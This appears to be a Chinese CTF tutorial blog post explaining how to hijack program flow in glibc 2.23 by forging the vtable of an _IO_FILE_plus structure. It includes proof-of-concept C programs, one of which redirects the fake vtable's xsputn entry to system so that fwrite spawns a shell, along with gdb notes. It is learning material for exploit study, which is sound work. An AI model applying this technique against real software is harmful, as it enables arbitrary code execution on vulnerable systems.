IO利用之伪造 vtable 劫持程序流程
IO利用之伪造 vtable 劫持程序流程
建议学习的前置知识:
->Linux下I/O库中的FILE结构/
->_IO_FILE_plus结构
概述
Linux中的一些常见的IO操作函数都要经过FILE结构处理,其中_IO_FILE_plus结构中存在vtable,而某些函数会取出vtable中的指针进行调用
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
根据上述,我们可以通过伪造 _IO_FILE_plus 的 vtable 来劫持程序流程,把vtable指向我们已经可以控制的内存,如某个chunk,随后我们有两种思路来利用
- 直接改写vtable中的函数指针(需要有任意地址写)
- 覆盖vtable的指针->指向我们控制的内存,在其中布置函数指针
演示
下面用CTF-wiki的例子来演示
在此之前我们得知道_IO_FILE_plus位于哪,对于fopen 是位于堆内存中 , 而对于stdin\stdout\stderr是位于libc.so中的
int main(void)
{
printf("这里演示修改vtable中的指针")
FILE *fp;
long long *vtable_ptr;
fp=fopen("flag.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable
vtable_ptr[7]=0x41414141 //xsputn
printf("call 0x41414141");
}
在64位系统下vtable地址在_IO_FILE_plus的偏移为0xd8 ,由于printf会调用vtable中的xsputn所以我们就可以更改xsputn为某个目标地址,xsputn是vtable中的第八项源码位于我的IO利用之利用stdout泄露libc中
ctf-wiki:
在 xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。
比如调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。
利用:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define system_ptr 0x7ffff7a52390;
int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable
memcpy(fp,"sh",3);
vtable_ptr[7]=system_ptr //xsputn
fwrite("hi",2,1,fp);
}
下面用gdb调试一下看看怎么个事
运行到14行,可以看见我们的vtabel_ptr已经变成了_IO_file_jumps的地址了

查房!里面的成员第八项就是我们的xsputn直接执行vtable_ptr[7]=system_ptr

按理来说我们是可以直接修改的但是
pwndbg>
Program received signal SIGSEGV, Segmentation fault.
0x00005555555551f0 in main () at IO_vtable.c:16
16 vtable_ptr[7]=system_ptr //xsputn
我们这里显示段错误
原因:在目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。 IO_FILE_plus 结构中的 vtable 是 const 修饰的, 默认的在 libc 只读数据段, 所以 vtable 中的函数指针不能直接更改 --> const struct _IO_jump_t *vtable;
但是我们可以使用第二种思路->在可控的内存中伪造 vtable
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define system_ptr 0x7ffff7a52390;
int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;
fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40);
vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset
vtable_addr[0]=(long long)fake_vtable; //修改vtable指针为我们可控的内存地址
memcpy(fp,"sh",3);
fake_vtable[7]=system_ptr; //xsputn
fwrite("hi",2,1,fp);
}
程序的逻辑和原来的差不多,只是我们的vtable_addr改为了 IO_FILE_plus 结构(这里是fp)中的 vtable指针地址,然后我们把这个指针改为我们可以控制的内存地址-->fake_vtable,然后将fp的头部改为'sh'(因为 vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递),把fake_vtable第八项成员改为system的地址,这样当我们调用fwrite的时候就会执行system('sh')
同样,如果程序中不存在 fopen 等函数创建的_IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的_IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。

浙公网安备 33010602011771号